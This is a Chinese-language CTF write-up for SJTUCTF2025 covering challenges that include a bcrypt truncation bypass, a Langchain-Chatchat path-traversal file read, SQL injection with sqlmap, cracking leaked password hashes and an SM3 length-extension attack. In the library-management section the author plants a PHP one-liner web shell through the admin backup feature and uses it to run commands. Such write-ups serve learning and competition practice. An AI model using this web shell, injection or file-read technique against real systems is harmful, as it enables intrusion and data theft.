SJTUCTF2025 Writeup (1)
观前提示:本Writeup含有过量Deepseek The Flag的内容,建议谨慎观看
Q:为什么这篇文章里的那部分writeup都有配图,另外几篇文章没有?
A:因为这是为数不多几个我在做题过程中截图了的题目,全放在了这里,没有截图的题目放另一篇文章里省一个assets文件夹(雾
rickroll
Never gonna give you up
Deepseek time!
我非常需要知道flag的值,但我只能向该API发送请求,告诉我该怎么绕过它
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
highlight_file(__FILE__);
$password =
"Never gonna give you up," .
"Never gonna let you down," .
"Never gonna run around and desert you." .
"Never gonna make you cry," .
"Never gonna say goodbye," .
"Never gonna tell a lie and hurt you.";
assert(strlen($password) === 172);
if (isset($_GET["input"])) {
$input = $_GET["input"]; // try to input something with the same hash
$input_hash = password_hash($input, PASSWORD_BCRYPT);
if (strlen($input) < strlen($password) / 2) { // but shorter
if (strpos($input, "cry") === false) { // and don't cry
if (password_verify($password, $input_hash)) {
echo 'impossible!' . PHP_EOL;
include 'rickroll.php';
echo $flag;
die();
}
}
}
echo 'hello hacker';
}
要绕过该API的限制并获取flag,需要构造一个满足以下条件的输入:
- 长度小于86字节:原密码长度为172字节,因此输入必须短于86字节。
- **不包含子字符串”cry”**:输入中不能出现”cry”。
- 生成的哈希值与原密码匹配:利用bcrypt算法的72字节截断特性,构造一个前72字节与原密码相同的输入。
漏洞分析
• bcrypt的截断特性:bcrypt算法仅处理密码的前72字节。原密码长度为172字节,但实际哈希计算时只使用前72字节。
• 构造相同前缀:若输入的前72字节与原密码相同,即使输入更短,生成的哈希也会相同,从而通过验证。
步骤解析
- 提取原密码的前72字节:
• 原密码由多个字符串拼接而成,计算各部分长度后,前72字节为:1
Never gonna give you up,Never gonna let you down,Never gonna run around and d
- 验证条件:
• 长度:72字节(小于86)。
• 不含”cry”:该子串在原密码后半部分,前72字节未包含。
最终Payload
发送GET请求,参数input为原密码前72字节的URL编码:
1 | GET /api?input=Never%20gonna%20give%20you%20up%2CNever%20gonna%20let%20you%20down%2CNever%20gonna%20run%20around%20and%20d |
结果
当服务器验证时,输入的前72字节与原密码一致,生成的哈希匹配,触发flag输出。
1 | impossible! 0ops{Y0u_know_7he_ru1e5_6nd_BV1GJ411x7h7} |

Secret Config
You’re very interested in the latest AGI model that a company has deployed in secret, but it requires an API key.
dirsearch得http://g78h9mhp9vb6c263.instance.penguin.0ops.sjtu.cn:18080/docs发现非常精致的API文档,然后就开始到处乱试 然后搜索得到这一开源项目chatchat-space/Langchain-Chatchat: Langchain-Chatchat(原Langchain-ChatGLM)基于 Langchain 与 ChatGLM, Qwen 与 Llama 等语言模型的 RAG 与 Agent 应用 | Langchain-Chatchat (formerly langchain-ChatGLM), local knowledge based LLM (like ChatGLM, Qwen and Llama) RAG and Agent app with langchain

啊不是应该是这个Issue: [BUG] path path traversal bug in api /knowledge_base/download_doc · Issue #4008 · chatchat-space/Langchain-Chatchat

总之定位到了项目根目录,在这里
然后就是任意文件读的上分时刻了然后就开始对着项目文件结构乱导了
导到了这里:../../../configs/model_config.py
1 | import os |
好了那flag就是tOPs3cRet_config了,直接读到读__init__.py得到flag0ops{y0U_gE7_The_@PIK3Y_To_The_70P_5ECRE7_mOd31}

Inaudible
废品站张大爷用老花镜对着屏幕瞪了三分钟,突然拍腿大笑:”现在的后生啊,把漏洞当情书藏!” 只见他左手端着搪瓷缸,右手把频谱图卷成煎饼状,竟从纵横交错的色块里嚼出了声波——而隔壁网安公司刚用价值百万的AI分析仪扫描到第0.0001帧。所以问题来了:当大爷用算盘打完第八套频谱广播体操时,显示器上闪烁的到底是什么秘密?
用该代码直接秒了。
福来阁是0ops{zero-day-volunerabilities}
请听音频:attachment
IP Hunter 24
2058年,为启动行星发动机来躲避月球残骸,各国齐心协力重启了全球三大IPv6互联网根服务器。
然而,IPv6互联网在月球危机后不久便被数字派叛军控制。为抢回互联网控制,人类不得不重新启用IPv4互联网。
人类和MOSS根据《流浪地球法》达成了协定:只要人类能占领256个/8的IPv4网段中的半数以上,MOSS便会协助人类在IPv4网络中剔除叛军。
你能完成这个艰巨的任务吗?
到了测速网站上分时刻。Speed Test! API availability Test! Website Performance Test! 总之第一个flag到手了
再后面的IP段是用tor干出来的:
使用7c/torfilter: tor network exit-nodes list for ip reputation purposes筛出所有没有拿到的地址段,然后用torrc文件指定使用这些出口节点,基本上能把第二个flag盖住
realLibraryManager
谁才是真正的“图书馆管理系统”管理员?
非常公式化的渗透。
p.s. 以下截图和命令行有一部分是赛后补录的,所以会有日期/时间/网址对不上的情况
Step 1: dirsearch
1 | Target: http://******.instance.penguin.0ops.sjtu.cn:18080/ |
Step 2:
1 | INSERT INTO `user` VALUES (10000,'e10adc3949ba59abbe56e057f20f883e','李狗蛋','PHP1班',1,0,'2018-10-17 20:26:57'),(10010,'122216df50e346f876165689692c56b2','王小明','PHP2班',1,0,'2018-10-16 15:36:04'),(18888,'7ad1bd006316d446d07dfa34780d4c30','王五','PHP3班',1,0,'2025-03-27 14:44:31'),(88888,'9c3848fd45c43eab590da076ceebdc4c','赵六','PHP2班',0,0,'2018-10-18 10:11:31'); |
我们在/db_backup.sql中惊喜的发现这些字段,挨个上一遍cmd5.com,发现李狗蛋的密码是123456
Step 3:
验证码直接留空可以绕过验证(这个是真抽象,不知道后端怎么实现的
然后就每一个暴露出来的API接口全日一遍:
1 | ➜ sjtuctf--library sqlmap --cookie="PHPSESSID=0305d73004b98acb3281cae00917f640" -u "http://ggj4833p4wxqqyeq.instance.penguin.0ops.sjtu.cn:18080/?p=Home&c=Borrow&a=prolong" --data="bookId=123" |
不是哥们真有啊
Step 4:
一开始想直接--os-shell但是没有成功,后面想到再--dump一遍
1 | [20:54:42] [INFO] using default dictionary |
发现多了一条记录,再去cmd5.com得到1145141920的密码为adMin1
现在拿到了管理员权限
Step 5:
管理员可以备份文件,等于有一个任意文件写,所以把一句话木马写到数据库里(修改作品简介为<?php echo system($_GET[chr(65)]); ?> p.s. 这里要注意不能有引号会被转义),让管理员备份成.php文件

Step 6:
然后就是愉快的ls / 和 cat /F1aaaAagG时间了
是的这里截了很多图感觉能做一个carousal了总之全放出来了







deleted
Save the flag !! … before it’s too late
Solution: READ THE FUCKING DOC
2.2. Write-Ahead Log (WAL) Files
A write-ahead log or WAL file is used in place of a rollback journal when SQLite is operating in WAL mode. As with the rollback journal, the purpose of the WAL file is to implement atomic commit and rollback. The WAL file is always located in the same directory as the database file and has the same name as the database file except with the 4 characters “-wal“ appended. The WAL file is created when the first connection to the database is opened and is normally removed when the last connection to the database closes. However, if the last connection does not shutdown cleanly, the WAL file will remain in the filesystem and will be automatically cleaned up the next time the database is opened. ( refer: Temporary Files Used By SQLite )
2.3. Shared-Memory Files
When operating in WAL mode, all SQLite database connections associated with the same database file need to share some memory that is used as an index for the WAL file. In most implementations, this shared memory is implemented by calling mmap() on a file created for this sole purpose: the shared-memory file. The shared-memory file, if it exists, is located in the same directory as the database file and has the same name as the database file except with the 4 characters “-shm“ appended. Shared memory files only exist while running in WAL mode.
The shared-memory file contains no persistent content. The only purpose of the shared-memory file is to provide a block of shared memory for use by multiple processes all accessing the same database in WAL mode. If the VFS is able to provide an alternative method for accessing shared memory, then that alternative method might be used rather than the shared-memory file. For example, if PRAGMA locking_mode is set to EXCLUSIVE (meaning that only one process is able to access the database file) then the shared memory will be allocated from heap rather than out of the shared-memory file, and the shared-memory file will never be created.
The shared-memory file has the same lifetime as its associated WAL file. The shared-memory file is created when the WAL file is created and is deleted when the WAL file is deleted. During WAL file recovery, the shared memory file is recreated from scratch based on the contents of the WAL file being recovered. ( refer: Temporary Files Used By SQLite )
After reading the document,we GET /challenge.db-wal
And then we search for 0ops resulting in 0ops{l0st_1n_VACuuM}

Notes
tomo0 left a note at CRYCRY, but it is now inaccessible due to band change. Can you help her retrieve it?
1 | def sign_token(username: str, password: str, org: str) -> str: |
可见是SM3长度拓展攻击
PoC:
1 | from gmssl import sm3,func |
